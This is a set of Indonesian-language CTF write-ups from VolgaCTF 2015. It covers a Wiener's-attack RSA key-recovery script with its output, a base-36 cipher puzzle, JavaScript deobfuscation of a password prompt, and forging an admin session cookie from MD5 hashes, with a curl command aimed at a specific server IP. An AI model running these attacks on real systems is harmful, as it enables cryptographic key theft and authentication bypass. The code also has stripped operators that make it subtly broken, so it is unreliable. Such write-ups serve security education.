Deskripsi Rsa, the oldie but goodie Script https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/VOLGACTF/crypto/rs a/challenge/decryptor.py Key https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/VOLGACTF/crypto/rs a/challenge/key.public Ciphertext https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/VOLGACTF/crypto/rs a/challenge/ciphertext.bin Solution Dimulai dari melihat public key RSA yang disediakan [+]n: [0x323fada9cfa3c3037e0b907d2cea83b9ad3655092cb04aeed95500bca4e366a06cb4d215c65b b3d630b779d27bdc8dcd907d655acbdcef465e411beb1be3dddaaba20fb058e7850aa355ec1b893 58602fde7f8be59d4150770cacc1b77b775f7caa358167b3226515f15fca8a4659fea2c4efb0360 e31993dde4d1c199832b89L] (1022 bits) [+]e: [0x1e4805a218009c7f779033e3378b07693f56b266786a295b32d7275ae2e2cd3449dac7468cda e9bb04f547ec759e560739e0d448ebba0ded244095fe1d9b900a885ae931ec760715dbdee4acddb 6170b036753c8b572c8af9a02ef370d41a0f2009388bfa042b9f1d0d0847e2fd6fd7ac9e231b17c c95d1dec4540681262c919L] (1021 bits)
Dapat dilihat bahwa public key ini berurusan dengan file exponen yang sangat besar. Sementara itu tidak selalu terjadi, ini mengindikasikan bahwa exponen RSA berukuran kecil dan rahasia. Dalam banyak kasus menggunakan attack, wiener akan cukup untuk mengembalikan file private exponen menggunakan kode sebagai berikut ini: #!/usr/bin/python # # VolgaCTF Quals 2015 # Rsa (Crypto/200) # # @a: Smoke Leet Everyday # @u: https://github.com/smokeleeteveryday # import math from Crypto.PublicKey import RSA def number_of_bits(n): return int(math.log(n, 2)) + 1 def isqrt(n): if n < 0: raise ValueError('[]Square root not defined for negative numbers') if n == 0: return 0
70
a, b = divmod(number_of_bits(n), 2) x = 2**(a+b) while True: y = (x + n//x)//2 if y >= x: return x x = y def perfectSquare(n): h = n & 0xF if h > 9: return 1 if (h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8): t = isqrt(n) if (t*t == n): return t else: return 1 return 1 # Fraction p/q as continued fraction def contfrac(p, q): while q: n = p // q yield n q, p = p q*n, q # Convergents from continued fraction def convergents(cf): p, q, r, s = 1, 0, 0, 1 for c in cf: p, q, r, s = c*p+r, c*q+s, p, q yield p, q # Wiener's attack ported from https://github.com/pablocelayes/rsawienerattack def wienerAttack(n, e): cts = convergents(contfrac(e, n)) for (k, d) in cts: # check if d is actually the key if ((k != 0) and ((e*d 1) % k == 0)): phi = ((e*d 1)//k) s = n phi + 1 # check if the equation x^2 s*x + n = 0 # has integer roots discr = s*s 4*n if(discr >= 0): t = perfectSquare(discr) if ((t != 1) and ((s+t) % 2 == 0)): return d return None f = open("key.public", 'rb') externKey = f.read() f.close() pubkey = RSA.importKey(externKey) d = wienerAttack(pubkey.n, pubkey.e) if(d): print "[+]Recovered d: [%d]!" % d privkey = RSA.construct((pubkey.n, pubkey.e, d, )) with open('ciphertext.bin', 'rb') as f: C = f.read() print "[+]Flag: [%s]" % privkey.decrypt(C)
71
Sehingga diapatkan output sebagai berikut $ ./rsa_crack.py [+]Recovered d: [3742521278975183332886178478932181208106789375560965837781]! [+]Flag: [{shorter_d_is_quicker_but_insecure}]
Problem Zombie memiliki masalah komunikasi karena heterogenity, jadi mereka mendefinisikan komunikasi standart mereka. Sebagai manusia, kita harus mengetahui bagaimana mendekripsi pesan yang bertujuan untuk mengalahkan mereka. Beruntungnya, seseorang telah menemukan satu pesan enkripsi mereka 0x1be15dc 77676058612 03062372 676 0x9542 0x2546c9ec 02614610 0x3b3154e5a0a923ff
Solution Dapat dilihat bahwa beberapa kata direpresenasikan dnegan 16-, 10- dan 8 digit angka. Ubah angka-angka tersebut sehingga tiap angka menjadi 36 digit. Hasil yang didapat 17 35 17 18 29 10 15 32
Setiap digit akan merepresentasikan digit (0-9) atau huruf besar (A-Z). Dapat diketahui setiap huruf besar adalah benar. Jadi coba cari kesesuaian antara digit dan huruf-huruf tersebut. Dapat diasumsikan bahwa kata pertama adalah HELLO, sehingga H - 17 E - 14 L - 21 O – 24 Jika ada kombinasi 2 huruf maka 10 12 12 14 28 28 Dan akan muncul ACCESS Sehingga A - 10 C - 12 73
S – 28 Akhirnya setiap huruf diwakilkan sebuah angka 9 + i, dimana i adalah index dari huruf di alfabet. Jadi seluruh pesannya adalah: HELLO ZOMBIES HERE IS THE ACCESS FLAG WELOVEBRAINZ
Problem ini memiliki prompt password yang dilindungi menggunakan obfuscated javascript. Berikut ini adalah langkah-langkah menyelesaikan problem ini Masuk pada halaman web kemudian masukkan password seperti yang diminta
Kemudian cek source code
Coba jalankan kode tersebut menggunakan JavaScript Deobfuscator dan akhirnya ditemukan fungsi yang kelihatannya sangat membantu
Masukkan dua baris ke javacript firebug coonsole dan akhirnya flag berhasil didapatkan
Halaman website problem ini memperbolehkan untuk membuat user dan menggunakannya untuk mengakses halaman web. Informasi halaman web dapat disimpan. Dapat dilihat bahwa jika menjadi admin maka halaman web akan mengirimkan pesan “Access denied, only user admin has access”. Ketika menganalisa halaman web maka ditemukan session cookie yang sangat panjang yang diterima dari webserver. Cookie ini terdiri dari 3 hash md5 yang terpisah di dalam satu string. Ketika melihat hash tersebut, disadari bahwa md5 terbuat dari susunan berikut ini [MD5][MD5(username)][MD5(user IP)]
Idenya jika ingin masuk halaman admin maka cookienya harus menggunakan [MD5][MD5('admin')][MD5(admin IP)]
Nilai md5 dari admin adalah 21232f297a57a5a743894a0e4a801fc3, sekarang hanya dibutuhkan IP dari admin yang akan lebih sulit untuk ditemukan. Tetapi dalam server terdapat halaman server status (http://94.45.252.238/server-status) yang memperlihatkan 036580/285/34514_0.084200000.00.072.42 1.2.3.4 127.0.0.1 GET /admin/ HTTP/1.1
Sehingga terlihat bahwa IP admin adalah, dengan menggunakan UP tersebut maka akan didapatkan flag curl s b "session=954a33ddafa959cf59247cd21b4cc16321232f297a57a5a743894a0e4a801fc3`echo n "1.2.3.4"|md5sum|awk '{printf $1}'`" http://94.45.252.238/